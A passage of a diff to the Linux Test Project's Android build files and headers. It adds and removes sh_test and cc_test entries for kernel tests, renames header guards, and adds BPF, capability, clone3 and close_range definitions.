+    name: "ltp_testcases_bin_fs_bind_rbind32.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind32.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind32.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind33.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind33.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind33.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind34.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind34.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind34.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind35.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind35.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind35.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind36.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind36.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind36.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind37.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind37.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind37.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind38.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind38.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind38.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind39.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind39.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind39.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_regression.sh",
+    src: "testcases/kernel/fs/fs_bind/fs_bind_regression.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_regression.sh",
     compile_multilib: "both",
 }
 
@@ -18392,6 +19105,14 @@
 }
 
 sh_test {
+    name: "ltp_testcases_bin_ima_conditionals.sh",
+    src: "testcases/kernel/security/integrity/ima/tests/ima_conditionals.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ima_conditionals.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
     name: "ltp_testcases_bin_ima_kexec.sh",
     src: "testcases/kernel/security/integrity/ima/tests/ima_kexec.sh",
     sub_dir: "ltp/testcases/bin",
@@ -18968,14 +19689,6 @@
 }
 
 sh_test {
-    name: "ltp_testcases_bin_myfunctions-io.sh",
-    src: "testcases/kernel/controllers/io-throttle/myfunctions-io.sh",
-    sub_dir: "ltp/testcases/bin",
-    filename: "myfunctions-io.sh",
-    compile_multilib: "both",
-}
-
-sh_test {
     name: "ltp_testcases_bin_myfunctions.sh",
     src: "testcases/kernel/controllers/memctl/myfunctions.sh",
     sub_dir: "ltp/testcases/bin",
@@ -18992,6 +19705,14 @@
 }
 
 sh_test {
+    name: "ltp_testcases_bin_netns_lib.sh",
+    src: "testcases/kernel/containers/netns/netns_lib.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "netns_lib.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
     name: "ltp_testcases_bin_netstat01.sh",
     src: "testcases/network/tcp_cmds/netstat/netstat01.sh",
     sub_dir: "ltp/testcases/bin",
@@ -19000,50 +19721,58 @@
 }
 
 sh_test {
-    name: "ltp_testcases_bin_nfs01",
-    src: "testcases/network/nfs/nfs_stress/nfs01",
+    name: "ltp_testcases_bin_nfs01.sh",
+    src: "testcases/network/nfs/nfs_stress/nfs01.sh",
     sub_dir: "ltp/testcases/bin",
-    filename: "nfs01",
+    filename: "nfs01.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_nfs02",
-    src: "testcases/network/nfs/nfs_stress/nfs02",
+    name: "ltp_testcases_bin_nfs02.sh",
+    src: "testcases/network/nfs/nfs_stress/nfs02.sh",
     sub_dir: "ltp/testcases/bin",
-    filename: "nfs02",
+    filename: "nfs02.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_nfs03",
-    src: "testcases/network/nfs/nfs_stress/nfs03",
+    name: "ltp_testcases_bin_nfs03.sh",
+    src: "testcases/network/nfs/nfs_stress/nfs03.sh",
     sub_dir: "ltp/testcases/bin",
-    filename: "nfs03",
+    filename: "nfs03.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_nfs04",
-    src: "testcases/network/nfs/nfs_stress/nfs04",
+    name: "ltp_testcases_bin_nfs04.sh",
+    src: "testcases/network/nfs/nfs_stress/nfs04.sh",
     sub_dir: "ltp/testcases/bin",
-    filename: "nfs04",
+    filename: "nfs04.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_nfs05",
-    src: "testcases/network/nfs/nfs_stress/nfs05",
+    name: "ltp_testcases_bin_nfs05.sh",
+    src: "testcases/network/nfs/nfs_stress/nfs05.sh",
     sub_dir: "ltp/testcases/bin",
-    filename: "nfs05",
+    filename: "nfs05.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_nfs06",
-    src: "testcases/network/nfs/nfs_stress/nfs06",
+    name: "ltp_testcases_bin_nfs06.sh",
+    src: "testcases/network/nfs/nfs_stress/nfs06.sh",
     sub_dir: "ltp/testcases/bin",
-    filename: "nfs06",
+    filename: "nfs06.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_nfs07.sh",
+    src: "testcases/network/nfs/nfs_stress/nfs07.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "nfs07.sh",
     compile_multilib: "both",
 }
 
@@ -19056,18 +19785,18 @@
 }
 
 sh_test {
-    name: "ltp_testcases_bin_nfslock01",
-    src: "testcases/network/nfs/nfslock01/nfslock01",
+    name: "ltp_testcases_bin_nfslock01.sh",
+    src: "testcases/network/nfs/nfslock01/nfslock01.sh",
     sub_dir: "ltp/testcases/bin",
-    filename: "nfslock01",
+    filename: "nfslock01.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_nfsstat01",
-    src: "testcases/network/nfs/nfsstat01/nfsstat01",
+    name: "ltp_testcases_bin_nfsstat01.sh",
+    src: "testcases/network/nfs/nfsstat01/nfsstat01.sh",
     sub_dir: "ltp/testcases/bin",
-    filename: "nfsstat01",
+    filename: "nfsstat01.sh",
     compile_multilib: "both",
 }
 
@@ -19344,14 +20073,6 @@
 }
 
 sh_test {
-    name: "ltp_testcases_bin_run_io_throttle_test.sh",
-    src: "testcases/kernel/controllers/io-throttle/run_io_throttle_test.sh",
-    sub_dir: "ltp/testcases/bin",
-    filename: "run_io_throttle_test.sh",
-    compile_multilib: "both",
-}
-
-sh_test {
     name: "ltp_testcases_bin_run_memctl_test.sh",
     src: "testcases/kernel/controllers/memctl/run_memctl_test.sh",
     sub_dir: "ltp/testcases/bin",
@@ -19632,30 +20353,6 @@
 }
 
 sh_test {
-    name: "ltp_testcases_bin_ssh-stress01-rmt.sh",
-    src: "testcases/network/stress/ssh/ssh-stress01-rmt.sh",
-    sub_dir: "ltp/testcases/bin",
-    filename: "ssh-stress01-rmt.sh",
-    compile_multilib: "both",
-}
-
-sh_test {
-    name: "ltp_testcases_bin_ssh-stress02-rmt.sh",
-    src: "testcases/network/stress/ssh/ssh-stress02-rmt.sh",
-    sub_dir: "ltp/testcases/bin",
-    filename: "ssh-stress02-rmt.sh",
-    compile_multilib: "both",
-}
-
-sh_test {
-    name: "ltp_testcases_bin_ssh-stress03-rmt.sh",
-    src: "testcases/network/stress/ssh/ssh-stress03-rmt.sh",
-    sub_dir: "ltp/testcases/bin",
-    filename: "ssh-stress03-rmt.sh",
-    compile_multilib: "both",
-}
-
-sh_test {
     name: "ltp_testcases_bin_stop_freeze_sleep_thaw_cont.sh",
     src: "testcases/kernel/controllers/freezer/stop_freeze_sleep_thaw_cont.sh",
     sub_dir: "ltp/testcases/bin",
@@ -19672,14 +20369,6 @@
 }
 
 sh_test {
-    name: "ltp_testcases_bin_stress_floppy",
-    src: "testcases/kernel/io/stress_floppy/stress_floppy",
-    sub_dir: "ltp/testcases/bin",
-    filename: "stress_floppy",
-    compile_multilib: "both",
-}
-
-sh_test {
     name: "ltp_testcases_bin_sysctl01.sh",
     src: "testcases/commands/sysctl/sysctl01.sh",
     sub_dir: "ltp/testcases/bin",
@@ -19696,6 +20385,14 @@
 }
 
 sh_test {
+    name: "ltp_testcases_bin_tc01.sh",
+    src: "testcases/network/tcp_cmds/tc/tc01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tc01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
     name: "ltp_testcases_bin_tcp4-multi-diffip01",
     src: "testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip01",
     sub_dir: "ltp/testcases/bin",
@@ -23521,6 +24218,15 @@
 }
 
 cc_test {
+    name: "ltp_tst_cgctl",
+    stem: "tst_cgctl",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/lib/tst_cgctl.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_tst_cgroup01",
     stem: "tst_cgroup01",
     defaults: ["ltp_test_defaults"],
@@ -23548,6 +24254,15 @@
 }
 
 cc_test {
+    name: "ltp_tst_check_kconfigs",
+    stem: "tst_check_kconfigs",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/lib/tst_check_kconfigs.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_tst_checkpoint",
     stem: "tst_checkpoint",
     defaults: ["ltp_test_defaults"],
@@ -23685,6 +24400,24 @@
 }
 
 cc_test {
+    name: "ltp_tst_fuzzy_sync03",
+    stem: "tst_fuzzy_sync03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/tst_fuzzy_sync03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tst_get_free_pids",
+    stem: "tst_get_free_pids",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/lib/tst_get_free_pids.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_tst_get_median",
     stem: "tst_get_median",
     defaults: ["ltp_test_defaults"],
@@ -23712,6 +24445,15 @@
 }
 
 cc_test {
+    name: "ltp_tst_hexdump",
+    stem: "tst_hexdump",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/lib/tst_hexdump.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_tst_kvcmp",
     stem: "tst_kvcmp",
     defaults: ["ltp_test_defaults"],
@@ -23751,6 +24493,78 @@
 }
 
 cc_test {
+    name: "ltp_tst_needs_cmds01",
+    stem: "tst_needs_cmds01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/tst_needs_cmds01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tst_needs_cmds02",
+    stem: "tst_needs_cmds02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/tst_needs_cmds02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tst_needs_cmds03",
+    stem: "tst_needs_cmds03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/tst_needs_cmds03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tst_needs_cmds04",
+    stem: "tst_needs_cmds04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/tst_needs_cmds04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tst_needs_cmds05",
+    stem: "tst_needs_cmds05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/tst_needs_cmds05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tst_needs_cmds06",
+    stem: "tst_needs_cmds06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/tst_needs_cmds06.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tst_needs_cmds07",
+    stem: "tst_needs_cmds07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/tst_needs_cmds07.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tst_needs_cmds08",
+    stem: "tst_needs_cmds08",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/tst_needs_cmds08.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_tst_net_iface_prefix",
     stem: "tst_net_iface_prefix",
     defaults: ["ltp_test_defaults"],
@@ -23778,6 +24592,15 @@
 }
 
 cc_test {
+    name: "ltp_tst_print_result",
+    stem: "tst_print_result",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/tst_print_result.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_tst_process_state",
     stem: "tst_process_state",
     defaults: ["ltp_test_defaults"],
@@ -23906,6 +24729,15 @@
 }
 
 cc_test {
+    name: "ltp_tst_timeout_kill",
+    stem: "tst_timeout_kill",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/lib/tst_timeout_kill.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_tst_tmpdir_test",
     stem: "tst_tmpdir_test",
     defaults: ["ltp_test_defaults"],
@@ -24017,15 +24849,6 @@
 }
 
 cc_test {
-    name: "ltp_umount2_03",
-    stem: "umount2_03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/umount2/umount2_03.c"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_uname01",
     stem: "uname01",
     defaults: ["ltp_test_defaults"],
@@ -24392,6 +25215,15 @@
 }
 
 cc_test {
+    name: "ltp_vsock01",
+    stem: "vsock01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/network/sockets/vsock01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_wait01",
     stem: "wait01",
     defaults: ["ltp_test_defaults"],
@@ -24428,6 +25260,15 @@
 }
 
 cc_test {
+    name: "ltp_wait403",
+    stem: "wait403",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/wait4/wait403.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_waitid01",
     stem: "waitid01",
     defaults: ["ltp_test_defaults"],
@@ -24446,6 +25287,87 @@
 }
 
 cc_test {
+    name: "ltp_waitid03",
+    stem: "waitid03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/waitid/waitid03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_waitid04",
+    stem: "waitid04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/waitid/waitid04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_waitid05",
+    stem: "waitid05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/waitid/waitid05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_waitid06",
+    stem: "waitid06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/waitid/waitid06.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_waitid07",
+    stem: "waitid07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/waitid/waitid07.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_waitid08",
+    stem: "waitid08",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/waitid/waitid08.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_waitid09",
+    stem: "waitid09",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/waitid/waitid09.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_waitid10",
+    stem: "waitid10",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/waitid/waitid10.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_waitid11",
+    stem: "waitid11",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/waitid/waitid11.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_waitpid01",
     stem: "waitpid01",
     defaults: ["ltp_test_defaults"],
@@ -24563,6 +25485,87 @@
 }
 
 cc_test {
+    name: "ltp_wqueue01",
+    stem: "wqueue01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/watchqueue/wqueue01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_wqueue02",
+    stem: "wqueue02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/watchqueue/wqueue02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_wqueue03",
+    stem: "wqueue03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/watchqueue/wqueue03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_wqueue04",
+    stem: "wqueue04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/watchqueue/wqueue04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_wqueue05",
+    stem: "wqueue05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/watchqueue/wqueue05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_wqueue06",
+    stem: "wqueue06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/watchqueue/wqueue06.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_wqueue07",
+    stem: "wqueue07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/watchqueue/wqueue07.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_wqueue08",
+    stem: "wqueue08",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/watchqueue/wqueue08.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_wqueue09",
+    stem: "wqueue09",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/watchqueue/wqueue09.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_write01",
     stem: "write01",
     defaults: ["ltp_test_defaults"],
@@ -24608,6 +25611,15 @@
 }
 
 cc_test {
+    name: "ltp_write06",
+    stem: "write06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/write/write06.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_writetest",
     stem: "writetest",
     defaults: ["ltp_test_defaults"],
diff --git a/include/Makefile b/include/Makefile
index 7588e66..25e96df 100644
--- a/include/Makefile
+++ b/include/Makefile
@@ -1,24 +1,6 @@
-#
-#    include Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ..
 
diff --git a/include/ipcmsg.h b/include/ipcmsg.h
index d89894b..3b3fa32 100644
--- a/include/ipcmsg.h
+++ b/include/ipcmsg.h
@@ -43,8 +43,6 @@
 
 #define NR_MSGQUEUES	16	/* MSGMNI as defined in linux/msg.h */
 
-#define min(a, b)	(((a) < (b)) ? (a) : (b))
-
 typedef struct mbuf {		/* a generic message structure */
 	long mtype;
 	char mtext[MSGSIZE + 1];  /* add 1 here so the message can be 1024   */
diff --git a/include/lapi/abisize.h b/include/lapi/abisize.h
index 9e6622c..d19d73f 100644
--- a/include/lapi/abisize.h
+++ b/include/lapi/abisize.h
@@ -5,8 +5,8 @@
  *  Petr Vorel <petr.vorel@gmail.com>
  */
 
-#ifndef ABISIZE_H__
-#define ABISIZE_H__
+#ifndef LAPI_ABISIZE_H__
+#define LAPI_ABISIZE_H__
 
 /* __WORDSIZE replacement */
 #if defined(__LP64__) || defined(_LP64)
@@ -28,4 +28,4 @@
      (defined(__aarch64__) && defined(__ILP32__)) || \
      defined(TST_ABI64)
 
-#endif /* ABISIZE_H__ */
+#endif /* LAPI_ABISIZE_H__ */
diff --git a/include/lapi/acct.h b/include/lapi/acct.h
index c81b78b..6c52111 100644
--- a/include/lapi/acct.h
+++ b/include/lapi/acct.h
@@ -1,7 +1,7 @@
 //SPDX-License-Identifier: GPL-2.0-or-later
 
-#ifndef LAPI_ACCT_H
-#define LAPI_ACCT_H
+#ifndef LAPI_ACCT_H__
+#define LAPI_ACCT_H__
 
 #include <sys/types.h>
 #include "config.h"
@@ -71,4 +71,4 @@
 # endif
 #endif /* HAVE_STRUCT_ACCT_V3 */
 
-#endif /* LAPI_ACCT_H */
+#endif /* LAPI_ACCT_H__ */
diff --git a/include/lapi/bpf.h b/include/lapi/bpf.h
index 5ae2529..b44ab7d 100644
--- a/include/lapi/bpf.h
+++ b/include/lapi/bpf.h
@@ -8,8 +8,8 @@
  * some eBPF testing without any external dependencies.
  */
 
-#ifndef BPF_H
-# define BPF_H
+#ifndef LAPI_BPF_H__
+#define LAPI_BPF_H__
 
 #include <stdint.h>
 
@@ -27,6 +27,7 @@
 #define BPF_JNE		0x50	/* jump != */
 
 #define BPF_SIZE(code)  ((code) & 0x18)
+#define		BPF_B		0x10 /*  8-bit */
 #define		BPF_W		0x00    /* 32-bit */
 #define         BPF_DW		0x18	/* double word (64-bit) */
 
@@ -37,6 +38,7 @@
 #define BPF_OP(code)    ((code) & 0xf0)
 #define		BPF_ADD		0x00
 #define		BPF_SUB		0x10
+#define		BPF_MUL		0x20
 #define		BPF_DIV		0x30
 #define		BPF_LSH		0x60
 #define		BPF_RSH		0x70
@@ -129,6 +131,12 @@
 	BPF_MAP_TYPE_QUEUE,
 	BPF_MAP_TYPE_STACK,
 	BPF_MAP_TYPE_SK_STORAGE,
+	BPF_MAP_TYPE_DEVMAP_HASH,
+	BPF_MAP_TYPE_STRUCT_OPS,
+	BPF_MAP_TYPE_RINGBUF,
+	BPF_MAP_TYPE_INODE_STORAGE,
+	BPF_MAP_TYPE_TASK_STORAGE,
+	BPF_MAP_TYPE_BLOOM_FILTER,
 };
 
 enum bpf_prog_type {
@@ -427,7 +435,33 @@
 	FN(strtoul),			\
 	FN(sk_storage_get),		\
 	FN(sk_storage_delete),		\
-	FN(send_signal),
+	FN(send_signal),		\
+	FN(tcp_gen_syncookie),		\
+	FN(skb_output),			\
+	FN(probe_read_user),		\
+	FN(probe_read_kernel),		\
+	FN(probe_read_user_str),	\
+	FN(probe_read_kernel_str),	\
+	FN(tcp_send_ack),		\
+	FN(send_signal_thread),		\
+	FN(jiffies64),			\
+	FN(read_branch_records),	\
+	FN(get_ns_current_pid_tgid),	\
+	FN(xdp_output),			\
+	FN(get_netns_cookie),		\
+	FN(get_current_ancestor_cgroup_id),	\
+	FN(sk_assign),			\
+	FN(ktime_get_boot_ns),		\
+	FN(seq_printf),			\
+	FN(seq_write),			\
+	FN(sk_cgroup_id),		\
+	FN(sk_ancestor_cgroup_id),	\
+	FN(ringbuf_output),		\
+	FN(ringbuf_reserve),		\
+	FN(ringbuf_submit),		\
+	FN(ringbuf_discard),		\
+	FN(ringbuf_query),		\
+	FN(csum_level),
 
 /* integer value in 'imm' field of BPF_CALL instruction selects which helper
  * function eBPF program intends to call
@@ -590,4 +624,4 @@
 }
 /* End copy from tools/lib/bpf */
 
-#endif	/* BPF_H */
+#endif	/* LAPI_BPF_H__ */
diff --git a/include/lapi/capability.h b/include/lapi/capability.h
index 95cb681..17ec107 100644
--- a/include/lapi/capability.h
+++ b/include/lapi/capability.h
@@ -3,8 +3,8 @@
  * Copyright (c) 2019 Richard Palethorpe <rpalethorpe@suse.com>
  */
 
-#ifndef LAPI_CAPABILITY_H
-#define LAPI_CAPABILITY_H
+#ifndef LAPI_CAPABILITY_H__
+#define LAPI_CAPABILITY_H__
 
 #include "config.h"
 
@@ -24,6 +24,10 @@
 # define CAP_NET_RAW          13
 #endif
 
+#ifndef CAP_IPC_LOCK
+# define CAP_IPC_LOCK         14
+#endif
+
 #ifndef CAP_SYS_CHROOT
 # define CAP_SYS_CHROOT       18
 #endif
@@ -44,6 +48,10 @@
 # define CAP_SYS_RESOURCE     24
 #endif
 
+#ifndef CAP_BPF
+# define CAP_BPF              39
+#endif
+
 #ifndef CAP_TO_INDEX
 # define CAP_TO_INDEX(x)     ((x) >> 5)
 #endif
@@ -52,4 +60,4 @@
 # define CAP_TO_MASK(x)      (1 << ((x) & 31))
 #endif
 
-#endif
+#endif /* LAPI_CAPABILITY_H__ */
diff --git a/include/lapi/clone.h b/include/lapi/clone.h
index e49b50e..1630d9f 100644
--- a/include/lapi/clone.h
+++ b/include/lapi/clone.h
@@ -39,12 +39,18 @@
 #define CLONE_PIDFD	0x00001000	/* set if a pidfd should be placed in parent */
 #endif
 
+#ifndef CLONE_NEWUSER
+# define CLONE_NEWUSER	0x10000000
+#endif
+
 static inline void clone3_supported_by_kernel(void)
 {
+	long ret;
+
 	if ((tst_kvercmp(5, 3, 0)) < 0) {
 		/* Check if the syscall is backported on an older kernel */
-		TEST(syscall(__NR_clone3, NULL, 0));
-		if (TST_RET == -1 && TST_ERR == ENOSYS)
+		ret = syscall(__NR_clone3, NULL, 0);
+		if (ret == -1 && errno == ENOSYS)
 			tst_brk(TCONF, "Test not supported on kernel version < v5.3");
 	}
 }
diff --git a/include/lapi/close_range.h b/include/lapi/close_range.h
index 19db52d..0e464bb 100644
--- a/include/lapi/close_range.h
+++ b/include/lapi/close_range.h
@@ -25,4 +25,17 @@
 	return tst_syscall(__NR_close_range, fd, max_fd, flags);
 }
 # endif
+
+static inline void close_range_supported_by_kernel(void)
+{
+	long ret;
+
+	if ((tst_kvercmp(5, 9, 0)) < 0) {
+		/* Check if the syscall is backported on an older kernel */
+		ret = syscall(__NR_close_range, 1, 0, 0);
+		if (ret == -1 && errno == ENOSYS)
+			tst_brk(TCONF, "Test not supported on kernel version < v5.9");
+	}
+}
+
 #endif	/* LAPI_CLOSE_RANGE_H__ */
diff --git a/include/lapi/common_timers.h b/include/lapi/common_timers.h
index b783bef..8d88ac4 100644
--- a/include/lapi/common_timers.h
+++ b/include/lapi/common_timers.h
@@ -4,15 +4,15 @@
  * Keep all the common defines/checks for the timer tests here
  */
 
-#ifndef __COMMON_TIMERS_H__
-#define __COMMON_TIMERS_H__
+#ifndef LAPI_COMMON_TIMERS_H__
+#define LAPI_COMMON_TIMERS_H__
 
 #include "config.h"
 #include "lapi/syscalls.h"
 #include "lapi/posix_clocks.h"
 
 #ifndef NSEC_PER_SEC
-#define NSEC_PER_SEC (1000000000L)
